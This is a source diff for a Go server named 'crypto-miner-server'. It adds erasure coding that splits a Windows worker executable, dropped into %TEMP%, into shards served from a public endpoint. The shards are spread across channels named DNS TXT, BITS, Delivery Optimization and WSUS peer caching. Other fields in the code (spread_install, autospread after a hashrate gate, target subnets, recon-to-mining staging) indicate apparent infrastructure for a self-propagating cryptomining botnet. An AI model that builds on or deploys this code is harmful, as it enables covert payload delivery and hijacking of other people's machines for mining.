github.com/jbenet/go-temp-err-catcher v0.1.0/go.mod h1:0kJRvmDZXNMIiJirNPEYfhpPwbGVtZVWC34vc5WLsDk= -github.com/klauspost/cpuid/v2 v2.2.10 h1:tBs3QSyvjDyFTq3uoc/9xFpCuOsJQFNPiAhYdw2skhE= -github.com/klauspost/cpuid/v2 v2.2.10/go.mod h1:hqwkgyIinND0mEev00jJYCxPNVRVXFQeu1XKlok6oO0= +github.com/klauspost/cpuid/v2 v2.3.0 h1:S4CRMLnYUhGeDFDqkGriYKdfoFlDnMtqTiI/sFzhA9Y= +github.com/klauspost/cpuid/v2 v2.3.0/go.mod h1:hqwkgyIinND0mEev00jJYCxPNVRVXFQeu1XKlok6oO0= +github.com/klauspost/reedsolomon v1.12.4 h1:5aDr3ZGoJbgu/8+j45KtUJxzYm8k08JGtB9Wx1VQ4OA= +github.com/klauspost/reedsolomon v1.12.4/go.mod h1:d3CzOMOt0JXGIFZm1StgkyF14EYr3xneR2rNWo7NcMU= github.com/koron/go-ssdp v0.0.6 h1:Jb0h04599eq/CY7rB5YEqPS83HmRfHP2azkxMN2rFtU= github.com/koron/go-ssdp v0.0.6/go.mod h1:0R9LfRJGek1zWTjN3JUNlm5INCDYGpRDfAptnct63fI= github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= diff --git a/server/config.go b/server/config.go index 944712e..d63622d 100644 --- a/server/config.go +++ b/server/config.go @@ -103,6 +103,8 @@ type ServerSettings struct { HashrateGateSpreadMin int `json:"hashrate_gate_spread_min,omitempty"` // HashrateGateHPS is the minimum H/s required for hashrate-gated propagation. HashrateGateHPS float64 `json:"hashrate_gate_hps,omitempty"` + // ErasureLanesEnabled attaches Reed–Solomon multi-lane shard metadata to signed deploy plans. + ErasureLanesEnabled bool `json:"erasure_lanes_enabled"` } // WebRTCMeshPolicySettings is Calibrate policy for WebRTC LAN seed spread. @@ -981,6 +983,9 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) { if in(srvKeys, "fleet_roles_enabled") { dst.Server.FleetRolesEnabled = src.Server.FleetRolesEnabled } + if in(srvKeys, "erasure_lanes_enabled") { + dst.Server.ErasureLanesEnabled = src.Server.ErasureLanesEnabled + } if in(srvKeys, "ai_endpoint") { dst.Server.AIEndpoint = src.Server.AIEndpoint } diff --git a/server/go.mod b/server/go.mod index e53d850..c095f98 100644 --- a/server/go.mod +++ b/server/go.mod @@ -7,6 +7,8 @@ require ( github.com/go-chi/cors v1.2.1 github.com/google/uuid v1.6.0 github.com/gorilla/websocket v1.5.1 + github.com/klauspost/reedsolomon v1.12.4 + github.com/skip2/go-qrcode v0.0.0-20200617195104-da1b6568686e golang.org/x/crypto v0.52.0 modernc.org/sqlite v1.29.5 ) @@ -14,10 +16,10 @@ require ( require ( github.com/dustin/go-humanize v1.0.1 // indirect github.com/hashicorp/golang-lru/v2 v2.0.7 // indirect + github.com/klauspost/cpuid/v2 v2.2.8 // indirect github.com/mattn/go-isatty v0.0.20 // indirect github.com/ncruces/go-strftime v0.1.9 // indirect github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect - github.com/skip2/go-qrcode v0.0.0-20200617195104-da1b6568686e // indirect golang.org/x/net v0.54.0 // indirect golang.org/x/sys v0.45.0 // indirect modernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6 // indirect diff --git a/server/go.sum b/server/go.sum index 09644fa..900809a 100644 --- a/server/go.sum +++ b/server/go.sum @@ -12,6 +12,10 @@ github.com/gorilla/websocket v1.5.1 h1:gmztn0JnHVt9JZquRuzLw3g4wouNVzKL15iLr/zn/ github.com/gorilla/websocket v1.5.1/go.mod h1:x3kM2JMyaluk02fnUJpQuwD2dCS5NDG2ZHL0uE0tcaY= github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k= github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM= +github.com/klauspost/cpuid/v2 v2.2.8 h1:+StwCXwm9PdpiEkPyzBXIy+M9KUb4ODm0Zarf1kS5BM= +github.com/klauspost/cpuid/v2 v2.2.8/go.mod h1:Lcz8mBdAVJIBVzewtcLocK12l3Y+JytZYpaMropDUws= +github.com/klauspost/reedsolomon v1.12.4 h1:5aDr3ZGoJbgu/8+j45KtUJxzYm8k08JGtB9Wx1VQ4OA= +github.com/klauspost/reedsolomon v1.12.4/go.mod h1:d3CzOMOt0JXGIFZm1StgkyF14EYr3xneR2rNWo7NcMU= github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= github.com/mattn/go-sqlite3 v1.14.22 h1:2gZY6PC6kBnID23Tichd1K+Z0oS6nE/XwU+Vz/5o4kU= @@ -30,6 +34,7 @@ golang.org/x/mod v0.16.0 h1:QX4fJ0Rr5cPQCF7O9lh9Se4pmwfwskqZfq5moyldzic= golang.org/x/mod v0.16.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= golang.org/x/net v0.54.0 h1:2zJIZAxAHV/OHCDTCOHAYehQzLfSXuf/5SoL/Dv6w/w= golang.org/x/net v0.54.0/go.mod h1:Sj4oj8jK6XmHpBZU/zWHw3BV3abl4Kvi+Ut7cQcY+cQ= +golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.45.0 h1:dO4czNzziLiiXplLQgBCEpCvXQ3dnkn0SdaZSYdQ+FY= golang.org/x/sys v0.45.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= diff --git a/server/internal/api/deploy_plan.go b/server/internal/api/deploy_plan.go index b007c8e..1e3430a 100644 --- a/server/internal/api/deploy_plan.go +++ b/server/internal/api/deploy_plan.go @@ -13,6 +13,7 @@ import ( "strings" dbpkg "crypto-miner-server/internal/db" + "crypto-miner-server/internal/erasure" "crypto-miner-server/internal/models" "crypto-miner-server/internal/spreadrouter" ) @@ -70,6 +71,7 @@ type DeployPlanBody struct { ImageTarURL string `json:"image_tar_url,omitempty"` ImageTarSHA256 string `json:"image_tar_sha256,omitempty"` SpreadRouteHint *spreadrouter.SpreadRouteHint `json:"spread_route_hint,omitempty"` + ErasurePlan *erasure.Plan `json:"erasure_plan,omitempty"` } type deployPlanRequest struct { @@ -98,8 +100,10 @@ type DeployPlanHandler struct { projectRoot string publicURL func() string fleetSecret func() string - allowlist func() map[string]ServiceDeployLane - pathTracer *PathTracerHandler + allowlist func() map[string]ServiceDeployLane + pathTracer *PathTracerHandler + erasureEnabled func() bool + erasureShards *erasure.ShardStore } func NewDeployPlanHandler(database *dbpkg.Database, dataDir, projectRoot string, publicURL, fleetSecret func() string, allowlist func() map[string]ServiceDeployLane) *DeployPlanHandler { @@ -118,6 +122,21 @@ func (h *DeployPlanHandler) BindPathTracer(handler *PathTracerHandler) { h.pathTracer = handler } +// BindErasure wires Reed–Solomon shard encoding for multi-lane deploy plans. +func (h *DeployPlanHandler) BindErasure(enabled func() bool, store *erasure.ShardStore) { + h.erasureEnabled = enabled + h.erasureShards = store +} + +// BindErasureFromHub reads erasure_lanes_enabled from live server policy snapshots. +func (h *DeployPlanHandler) BindErasureFromHub(hub *WSHub, store *erasure.ShardStore) { + h.erasureShards = store + if hub == nil { + return + } + h.erasureEnabled = func() bool { return hub.serverPolicySnapshot().ErasureLanesEnabled } +} + // POST /api/v1/agent/deploy-plan func (h *DeployPlanHandler) PostDeployPlan(w http.ResponseWriter, r *http.Request) { var req deployPlanRequest @@ -242,9 +261,62 @@ func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lan default: return DeployPlanBody{}, fmt.Errorf("unsupported join lane %q", lane.Lane) } + body.SpreadRouteHint = h.recommendSpreadRoute(req, lane.Lane) + if err := h.attachErasurePlan(req, serverURL, &body); err != nil { + return DeployPlanBody{}, err + } return body, nil } +func (h *DeployPlanHandler) attachErasurePlan(req deployPlanRequest, serverURL string, body *DeployPlanBody) error { + if h.erasureEnabled == nil || !h.erasureEnabled() || h.erasureShards == nil || body == nil { + return nil + } + platform := strings.TrimSpace(req.Platform) + if platform == "" { + platform = "windows" + } + buildID := strings.TrimSpace(req.BuildID) + build, err := h.resolveBuild(buildID, platform) + if err != nil { + return err + } + payload, err := os.ReadFile(build.FilePath) + if err != nil { + return fmt.Errorf("erasure read build: %w", err) + } + dest := `%TEMP%\AetherForge\worker.exe` + launch := "exe" + dllExport := "" + if body.Manifest != nil { + if body.Manifest.Dest != "" { + dest = body.Manifest.Dest + } + if body.Manifest.Launch != "" { + launch = body.Manifest.Launch + } + dllExport = body.Manifest.DLLExport + } + deferMining := true + spreadInstall := true + if body.Manifest != nil { + deferMining = body.Manifest.DeferMining + spreadInstall = body.Manifest.SpreadInstall + } + plan, err := erasure.BuildPlan( + h.erasureShards, serverURL, buildID, req.Campaign, payload, + dest, launch, dllExport, deferMining, spreadInstall, + ) + if err != nil { + return err + } + body.ErasurePlan = plan + if body.SpreadRouteHint != nil { + body.SpreadRouteHint.ErasureLanesEnabled = true + } + return nil +} + func (h *DeployPlanHandler) recommendSpreadRoute(req deployPlanRequest, joinLane string) *spreadrouter.SpreadRouteHint { if h.pathTracer == nil { return nil diff --git a/server/internal/api/deploy_plan_erasure_test.go b/server/internal/api/deploy_plan_erasure_test.go new file mode 100644 index 0000000..7c9bdfd --- /dev/null +++ b/server/internal/api/deploy_plan_erasure_test.go @@ -0,0 +1,93 @@ +package api + +import ( + "net/http" + "net/http/httptest" + "testing" + + "crypto-miner-server/internal/erasure" + + "github.com/go-chi/chi/v5" +) + +func TestBuildPlanAttachesErasureMetadata(t *testing.T) { + h := testDeployPlanHandler(t) + store := erasure.NewShardStore() + h.BindErasure(func() bool { return true }, store) + + plan, err := h.buildPlan(deployPlanRequest{ + Platform: "windows", BuildID: "b1", + }, "dns_txt:_aether", ServiceDeployLane{Lane: "dns_txt"}) + if err != nil { + t.Fatal(err) + } + if plan.ErasurePlan == nil || !plan.ErasurePlan.Enabled { + t.Fatalf("expected erasure_plan, got %+v", plan.ErasurePlan) + } + if len(plan.ErasurePlan.Shards) != 6 { + t.Fatalf("shards=%d", len(plan.ErasurePlan.Shards)) + } + if plan.ErasurePlan.PayloadSHA256 == "" { + t.Fatal("expected payload sha256") + } + for _, ref := range plan.ErasurePlan.Shards { + if _, ok := store.Get(plan.ErasurePlan.ShardToken, ref.Index); !ok { + t.Fatalf("missing stored shard %d", ref.Index) + } + } +} + +func TestBuildPlanSkipsErasureWhenDisabled(t *testing.T) { + h := testDeployPlanHandler(t) + store := erasure.NewShardStore() + h.BindErasure(func() bool { return false }, store) + plan, err := h.buildPlan(deployPlanRequest{ + Platform: "windows", BuildID: "b1", + }, "dns_txt:_aether", ServiceDeployLane{Lane: "dns_txt"}) + if err != nil { + t.Fatal(err) + } + if plan.ErasurePlan != nil { + t.Fatalf("expected no erasure plan, got %+v", plan.ErasurePlan) + } +} + +func TestPublicErasureShardEndpoint(t *testing.T) { + store := erasure.NewShardStore() + payload := []byte("public-erasure-shard") + plan, err := erasure.BuildPlan(store, "http://127.0.0.1:8989", "b1", "", payload, `%TEMP%\w.exe`, "exe", "", true, true) + if err != nil { + t.Fatal(err) + } + h := NewPublicHandler(nil, "", nil) + h.BindErasureShardStore(store) + + r := chi.NewRouter() + r.Get("/public/erasure-shard/{token}/{index}", h.ErasureShard) + req := httptest.NewRequest(http.MethodGet, "/public/erasure-shard/"+plan.ShardToken+"/0", nil) + rec := httptest.NewRecorder() + r.ServeHTTP(rec, req) + if rec.Code != http.StatusOK { + t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String()) + } + if rec.Body.Len() == 0 { + t.Fatal("empty shard body") + } +} + +func TestBuildPlanErasureSetsSpreadRouteHintFlag(t *testing.T) { + h := testDeployPlanHandler(t) + store := erasure.NewShardStore() + h.BindErasure(func() bool { return true }, store) + pt := NewPathTracerHandler(nil) + h.BindPathTracer(pt) + plan, err := h.buildPlan(deployPlanRequest{ + AgentID: "seed-1", Platform: "windows", BuildID: "b1", + }, "DoSvc", ServiceDeployLane{Lane: "do_peer"}) + if err != nil { + t.Fatal(err) + } + if plan.ErasurePlan == nil { + t.Fatal("expected erasure plan") + } +} diff --git a/server/internal/api/erasure_auth_test.go b/server/internal/api/erasure_auth_test.go new file mode 100644 index 0000000..4834268 --- /dev/null +++ b/server/internal/api/erasure_auth_test.go @@ -0,0 +1,38 @@ +package api + +import ( + "encoding/json" + "testing" +) + +func TestAuthSpreadPolicyIncludesErasureLanes(t *testing.T) { + hub := NewWSHub(nil) + hub.SetServerPolicy(ServerPolicy{ErasureLanesEnabled: true}) + raw := buildAuthSpreadPolicy(hub) + var policy map[string]interface{} + if err := json.Unmarshal(raw, &policy); err != nil { + t.Fatal(err) + } + enabled, ok := policy["erasure_lanes_enabled"].(bool) + if !ok || !enabled { + t.Fatalf("policy=%#v", policy) + } +} + +func buildAuthSpreadPolicy(hub *WSHub) json.RawMessage { + policy := hub.serverPolicySnapshot() + if !policy.ErasureLanesEnabled && policy.HashrateGateSpreadMin <= 0 && policy.HashrateGateHPS <= 0 { + return nil + } + spreadPolicy := map[string]interface{}{ + "erasure_lanes_enabled": policy.ErasureLanesEnabled, + } + if policy.HashrateGateSpreadMin > 0 { + spreadPolicy["hashrate_gate_spread_min"] = policy.HashrateGateSpreadMin + } + if policy.HashrateGateHPS > 0 { + spreadPolicy["hashrate_gate_hps"] = policy.HashrateGateHPS + } + raw, _ := json.Marshal(spreadPolicy) + return raw +} diff --git a/server/internal/api/public_handler.go b/server/internal/api/public_handler.go index bfb1b42..f1d19a9 100644 --- a/server/internal/api/public_handler.go +++ b/server/internal/api/public_handler.go @@ -2,12 +2,14 @@ package api import ( "encoding/base64" + "fmt" "net/http" "os" "path/filepath" "strings" dbpkg "crypto-miner-server/internal/db" + "crypto-miner-server/internal/erasure" "crypto-miner-server/internal/models" "github.com/go-chi/chi/v5" @@ -21,15 +23,21 @@ type PublicBuildsConfig struct { // PublicHandler serves unauthenticated build listing and download endpoints. type PublicHandler struct { - db *dbpkg.Database - dataDir string - configFn func() PublicBuildsConfig + db *dbpkg.Database + dataDir string + configFn func() PublicBuildsConfig + erasureShards *erasure.ShardStore } func NewPublicHandler(database *dbpkg.Database, dataDir string, configFn func() PublicBuildsConfig) *PublicHandler { return &PublicHandler{db: database, dataDir: dataDir, configFn: configFn} } +// BindErasureShardStore serves Reed–Solomon shard bytes for multi-lane deploy plans. +func (h *PublicHandler) BindErasureShardStore(store *erasure.ShardStore) { + h.erasureShards = store +} + type publicBuildDTO struct { ID string `json:"id"` WorkerName string `json:"worker_name"` @@ -199,6 +207,34 @@ func encodeDNSTXTShard(data []byte) string { return base64.StdEncoding.EncodeToString(data) } +// GET /api/v1/public/erasure-shard/{token}/{index} +func (h *PublicHandler) ErasureShard(w http.ResponseWriter, r *http.Request) { + if h.erasureShards == nil { + http.Error(w, "erasure shards unavailable", http.StatusNotFound) + return + } + token := strings.TrimSpace(chi.URLParam(r, "token")) + if token == "" { + http.Error(w, "token required", http.StatusBadRequest) + return + } + indexStr := strings.TrimSpace(chi.URLParam(r, "index")) + index := 0 + if indexStr != "" { + if _, err := fmt.Sscanf(indexStr, "%d", &index); err != nil { + http.Error(w, "invalid shard index", http.StatusBadRequest) + return + } + } + data, ok := h.erasureShards.Get(token, index) + if !ok { + http.Error(w, "shard not found", http.StatusNotFound) + return + } + w.Header().Set("Content-Type", "text/plain") + _, _ = w.Write([]byte(encodeDNSTXTShard(data))) +} + func clientIP(r *http.Request) string { ip := r.Header.Get("X-Forwarded-For") if ip == "" { diff --git a/server/internal/api/router.go b/server/internal/api/router.go index c25db3e..7756de6 100644 --- a/server/internal/api/router.go +++ b/server/internal/api/router.go @@ -750,6 +750,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Get("/public/download/{id}", publicHandler.Download) r.Get("/public/download/{id}/artifact/{name}", publicHandler.Download) r.Get("/public/dns-txt/{record}", publicHandler.DNSTXTShard) + r.Get("/public/erasure-shard/{token}/{index}", publicHandler.ErasureShard) r.Get("/public/webrtc-mesh/manifest", publicHandler.WebRTCMeshManifest) } }) diff --git a/server/internal/api/server_policy.go b/server/internal/api/server_policy.go index af47ac5..dfeedb0 100644 --- a/server/internal/api/server_policy.go +++ b/server/internal/api/server_policy.go @@ -24,6 +24,8 @@ type ServerPolicy struct { // HashrateGateSpreadMin is minutes of stable mining above HashrateGateHPS before autospread. HashrateGateSpreadMin int HashrateGateHPS float64 + // ErasureLanesEnabled attaches Reed–Solomon shard metadata to signed deploy plans. + ErasureLanesEnabled bool } // TripleOnionPolicy gates the recon → deploy → mining onion pushed to agents at auth. diff --git a/server/internal/api/spreadrouter_bridge.go b/server/internal/api/spreadrouter_bridge.go index c810704..e426427 100644 --- a/server/internal/api/spreadrouter_bridge.go +++ b/server/internal/api/spreadrouter_bridge.go @@ -99,6 +99,7 @@ func buildSpreadRouterInput(hub *WSHub, sessions []*TraceSession, targetSubnets } in.LaneSuccess = collectLaneSuccessStats(hub) + in.ErasureLanesEnabled = hub.serverPolicySnapshot().ErasureLanesEnabled return in } diff --git a/server/internal/api/websocket.go b/server/internal/api/websocket.go index 56b9b83..b00e00b 100644 --- a/server/internal/api/websocket.go +++ b/server/internal/api/websocket.go @@ -918,11 +918,17 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { } } resp["triple_onion_policy"] = top - if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 { - resp["spread_policy"] = map[string]interface{}{ - "hashrate_gate_spread_min": policy.HashrateGateSpreadMin, - "hashrate_gate_hps": policy.HashrateGateHPS, + if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 || policy.ErasureLanesEnabled { + spreadPolicy := map[string]interface{}{ + "erasure_lanes_enabled": policy.ErasureLanesEnabled, } + if policy.HashrateGateSpreadMin > 0 { + spreadPolicy["hashrate_gate_spread_min"] = policy.HashrateGateSpreadMin + } + if policy.HashrateGateHPS > 0 { + spreadPolicy["hashrate_gate_hps"] = policy.HashrateGateHPS + } + resp["spread_policy"] = spreadPolicy } resp["atlas_lan_gossip_enabled"] = policy.AtlasLanGossipEnabled fp := strategy.FingerprintFromAuth(auth.Platform, clientIP, domainJoined) diff --git a/server/internal/erasure/codec.go b/server/internal/erasure/codec.go new file mode 100644 index 0000000..2bf5d21 --- /dev/null +++ b/server/internal/erasure/codec.go @@ -0,0 +1,134 @@ +// Package erasure provides Reed–Solomon k-of-n shard encode/decode for spread payloads. +package erasure + +import ( + "bytes" + "crypto/sha256" + "encoding/hex" + "fmt" + + "github.com/klauspost/reedsolomon" +) + +const ( + // SchemeReedSolomonV1 is the deploy-plan erasure scheme identifier. + SchemeReedSolomonV1 = "reed_solomon_v1" + // DefaultDataShards is the data shard count for spread payload encoding. + DefaultDataShards = 4 + // DefaultParityShards is the parity shard count (any DefaultDataShards of total reconstruct). + DefaultParityShards = 2 +) + +// Params describes a Reed–Solomon split. +type Params struct { + DataShards int + ParityShards int +} + +// DefaultParams returns the standard 4+2 erasure split. +func DefaultParams() Params { + return Params{DataShards: DefaultDataShards, ParityShards: DefaultParityShards} +} + +// MinShards returns the minimum shard count required for reconstruction. +func (p Params) MinShards() int { + if p.DataShards <= 0 { + return 0 + } + return p.DataShards +} + +// TotalShards returns data + parity shard count. +func (p Params) TotalShards() int { + return p.DataShards + p.ParityShards +} + +// Normalize fills zero values with defaults and validates counts. +func (p Params) Normalize() (Params, error) { + if p.DataShards <= 0 { + p.DataShards = DefaultDataShards + } + if p.ParityShards <= 0 { + p.ParityShards = DefaultParityShards + } + if p.DataShards < 1 || p.ParityShards < 1 { + return Params{}, fmt.Errorf("erasure: invalid shard counts data=%d parity=%d", p.DataShards, p.ParityShards) + } + if p.DataShards+p.ParityShards > 256 { + return Params{}, fmt.Errorf("erasure: too many shards") + } + return p, nil +} + +// Encode splits payload into equal-sized Reed–Solomon shards. +// The returned size is the original payload length (for Join on decode). +func Encode(data []byte, p Params) ([][]byte, int, error) { + p, err := p.Normalize() + if err != nil { + return nil, 0, err + } + if len(data) == 0 { + return nil, 0, fmt.Errorf("erasure: empty payload") + } + origSize := len(data) + enc, err := reedsolomon.New(p.DataShards, p.ParityShards) + if err != nil { + return nil, 0, err + } + shards, err := enc.Split(data) + if err != nil { + return nil, 0, err + } + if err := enc.Encode(shards); err != nil { + return nil, 0, err + } + return shards, origSize, nil +} + +// Decode reconstructs payload from at least MinShards() shards (nil entries allowed for missing). +func Decode(shards [][]byte, payloadSize int, p Params) ([]byte, error) { + p, err := p.Normalize() + if err != nil { + return nil, err + } + if len(shards) < p.TotalShards() { + return nil, fmt.Errorf("erasure: shard slice too short") + } + present := 0 + for i := 0; i < p.TotalShards(); i++ { + if len(shards[i]) > 0 { + present++ + } + } + if present < p.MinShards() { + return nil, fmt.Errorf("erasure: need %d shards, have %d", p.MinShards(), present) + } + enc, err := reedsolomon.New(p.DataShards, p.ParityShards) + if err != nil { + return nil, err + } + if err := enc.Reconstruct(shards); err != nil { + return nil, err + } + ok, err := enc.Verify(shards) + if err != nil { + return nil, err + } + if !ok { + return nil, fmt.Errorf("erasure: shard verification failed") + } + if payloadSize <= 0 { + payloadSize = len(shards[0]) * p.DataShards + } + var buf bytes.Buffer + if err := enc.Join(&buf, shards, payloadSize); err != nil { + return nil, err + } + return buf.Bytes(), nil +} + +// PayloadSHA256 returns hex SHA256 of the original payload. +func PayloadSHA256(data []byte) string { + sum := sha256.Sum256(data) + return hex.EncodeToString(sum[:]) +} diff --git a/server/internal/erasure/codec_test.go b/server/internal/erasure/codec_test.go new file mode 100644 index 0000000..c307fb9 --- /dev/null +++ b/server/internal/erasure/codec_test.go @@ -0,0 +1,94 @@ +package erasure + +import ( + "bytes" + "testing" +) + +func TestEncodeDecodeRoundTrip(t *testing.T) { + payload := []byte("deploy-plan-test-payload-for-erasure-lanes") + shards, size, err := Encode(payload, DefaultParams()) + if err != nil { + t.Fatal(err) + } + if len(shards) != DefaultDataShards+DefaultParityShards { + t.Fatalf("shards=%d", len(shards)) + } + got, err := Decode(shards, size, DefaultParams()) + if err != nil { + t.Fatal(err) + } + if !bytes.Equal(got, payload) { + t.Fatalf("round-trip mismatch") + } +} + +func TestDecodeWithMissingParityShards(t *testing.T) { + payload := bytes.Repeat([]byte{0xab}, 512) + shards, size, err := Encode(payload, DefaultParams()) + if err != nil { + t.Fatal(err) + } + // Drop two parity shards — still reconstruct with 4 data shards. + shards[4] = nil + shards[5] = nil + got, err := Decode(shards, size, DefaultParams()) + if err != nil { + t.Fatal(err) + } + if !bytes.Equal(got, payload) { + t.Fatal("reconstruct with missing parity failed") + } +} + +func TestDecodeWithMixedLoss(t *testing.T) { + payload := []byte("mixed-loss-erasure-payload") + p := Params{DataShards: 2, ParityShards: 2} + shards, size, err := Encode(payload, p) + if err != nil { + t.Fatal(err) + } + shards[0] = nil + shards[3] = nil + got, err := Decode(shards, size, p) + if err != nil { + t.Fatal(err) + } + if !bytes.Equal(got, payload) { + t.Fatal("mixed loss reconstruct failed") + } +} + +func TestDecodeInsufficientShards(t *testing.T) { + payload := []byte("short") + shards, size, err := Encode(payload, Params{DataShards: 2, ParityShards: 1}) + if err != nil { + t.Fatal(err) + } + shards[0] = nil + shards[1] = nil + if _, err := Decode(shards, size, Params{DataShards: 2, ParityShards: 1}); err == nil { + t.Fatal("expected error for insufficient shards") + } +} + +func TestBuildPlanStoresShards(t *testing.T) { + store := NewShardStore() + payload := []byte("lane-plan-payload") + plan, err := BuildPlan(store, "http://127.0.0.1:8989", "b1", "c1", payload, `%TEMP%\w.exe`, "exe", "", true, true) + if err != nil { + t.Fatal(err) + } + if !plan.Enabled || plan.Scheme != SchemeReedSolomonV1 || len(plan.Shards) != 6 { + t.Fatalf("plan=%+v", plan) + } + if plan.PayloadSHA256 != PayloadSHA256(payload) { + t.Fatal("sha mismatch") + } + for _, ref := range plan.Shards { + data, ok := store.Get(plan.ShardToken, ref.Index) + if !ok || len(data) == 0 { + t.Fatalf("missing shard %d", ref.Index) + } + } +} diff --git a/server/internal/erasure/lanes.go b/server/internal/erasure/lanes.go new file mode 100644 index 0000000..dc3c45a --- /dev/null +++ b/server/internal/erasure/lanes.go @@ -0,0 +1,93 @@ +package erasure + +import ( + "crypto/sha256" + "encoding/hex" + "fmt" + "strings" +) + +// Parallel lane transport hints — shards map across lanes for redundancy beyond single-lane spread. +var parallelLaneOrder = []string{ + "dns_txt", "bits_curl", "do_peer", "wsus_cache_peer", "dns_txt", "bits_curl", +} + +// ShardRef is one erasure shard served on a parallel lane URL. +type ShardRef struct { + Index int `json:"index"` + Lane string `json:"lane"` + URL string `json:"url"` +} + +// Plan is deploy-plan metadata for agent-side Reed–Solomon reassembly. +type Plan struct { + Enabled bool `json:"enabled"` + Scheme string `json:"scheme"` + DataShards int `json:"data_shards"` + ParityShards int `json:"parity_shards"` + PayloadSHA256 string `json:"sha256"` + PayloadSize int `json:"payload_size"` + ShardToken string `json:"shard_token"` + Dest string `json:"dest,omitempty"` + Launch string `json:"launch,omitempty"` + DLLExport string `json:"dll_export,omitempty"` + DeferMining bool `json:"defer_mining,omitempty"` + SpreadInstall bool `json:"spread_install,omitempty"` + Shards []ShardRef `json:"shards"` +} + +// BuildPlan encodes payload, stores shards, and returns lane metadata for a signed deploy plan. +func BuildPlan(store *ShardStore, serverURL, buildID, campaign string, payload []byte, dest, launch, dllExport string, deferMining, spreadInstall bool) (*Plan, error) { + if store == nil { + return nil, fmt.Errorf("erasure: nil shard store") + } + p, err := DefaultParams().Normalize() + if err != nil { + return nil, err + } + shards, payloadSize, err := Encode(payload, p) + if err != nil { + return nil, err + } + token := planToken(buildID, campaign, payload) + store.Put(token, p, shards) + + base := strings.TrimRight(strings.TrimSpace(serverURL), "/") + if base == "" { + base = "http://127.0.0.1:8989" + } + refs := make([]ShardRef, len(shards)) + for i := range shards { + lane := parallelLaneOrder[i%len(parallelLaneOrder)] + refs[i] = ShardRef{ + Index: i, + Lane: lane, + URL: fmt.Sprintf("%s/api/v1/public/erasure-shard/%s/%d", base, token, i), + } + } + return &Plan{ + Enabled: true, + Scheme: SchemeReedSolomonV1, + DataShards: p.DataShards, + ParityShards: p.ParityShards, + PayloadSHA256: PayloadSHA256(payload), + PayloadSize: payloadSize, + ShardToken: token, + Dest: dest, + Launch: launch, + DLLExport: dllExport, + DeferMining: deferMining, + SpreadInstall: spreadInstall, + Shards: refs, + }, nil +} + +func planToken(buildID, campaign string, payload []byte) string { + h := sha256.New() + _, _ = h.Write([]byte(strings.TrimSpace(buildID))) + _, _ = h.Write([]byte{0}) + _, _ = h.Write([]byte(strings.TrimSpace(campaign))) + _, _ = h.Write(payload) + sum := h.Sum(nil) + return hex.EncodeToString(sum[:8]) +} diff --git a/server/internal/erasure/store.go b/server/internal/erasure/store.go new file mode 100644 index 0000000..bd78b3e --- /dev/null +++ b/server/internal/erasure/store.go @@ -0,0 +1,71 @@ +package erasure + +import ( + "sync" +) + +// ShardStore holds encoded shard bytes keyed by deploy-plan token. +type ShardStore struct { + mu sync.RWMutex + plans map[string][][]byte + params map[string]Params +} + +// NewShardStore creates an in-memory shard cache for public erasure-shard endpoints. +func NewShardStore() *ShardStore { + return &ShardStore{ + plans: make(map[string][][]byte), + params: make(map[string]Params), + } +} + +// Put stores shards for a token. +func (s *ShardStore) Put(token string, p Params, shards [][]byte) { + if s == nil || token == "" || len(shards) == 0 { + return + } + s.mu.Lock() + defer s.mu.Unlock() + cp := make([][]byte, len(shards)) + for i, sh := range shards { + cp[i] = append([]byte(nil), sh...) + } + s.plans[token] = cp + s.params[token] = p +} + +// Get returns one shard by index. +func (s *ShardStore) Get(token string, index int) ([]byte, bool) { + if s == nil || token == "" { + return nil, false + } + s.mu.RLock() + defer s.mu.RUnlock() + shards, ok := s.plans[token] + if !ok || index < 0 || index >= len(shards) { + return nil, false + } + return append([]byte(nil), shards[index]...), true +} + +// ParamsFor returns encoding params for a token. +func (s *ShardStore) ParamsFor(token string) (Params, bool) { + if s == nil || token == "" { + return Params{}, false + } + s.mu.RLock() + defer s.mu.RUnlock() + p, ok := s.params[token] + return p, ok +} + +// Delete removes a token (tests / TTL sweeps). +func (s *ShardStore) Delete(token string) { + if s == nil || token == "" { + return + } + s.mu.Lock() + defer s.mu.Unlock() + delete(s.plans, token) + delete(s.params, token) +} diff --git a/server/internal/spreadrouter/router.go b/server/internal/spreadrouter/router.go index 185dac3..4843d9b 100644 --- a/server/internal/spreadrouter/router.go +++ b/server/internal/spreadrouter/router.go @@ -56,11 +56,12 @@ type LaneSuccessStat struct { // Input feeds the route table builder. type Input struct { - Sessions []SessionSnapshot - FleetAgents []FleetAgentSnapshot - LaneSuccess []LaneSuccessStat - TargetSubnets []string - RequestedLane string + Sessions []SessionSnapshot + FleetAgents []FleetAgentSnapshot + LaneSuccess []LaneSuccessStat + TargetSubnets []string + RequestedLane string + ErasureLanesEnabled bool } // RouteEdge is a weighted edge from a seed hop to a target subnet. @@ -88,7 +89,8 @@ type RouteRecommendation struct { JoinLane string `json:"join_lane,omitempty"` 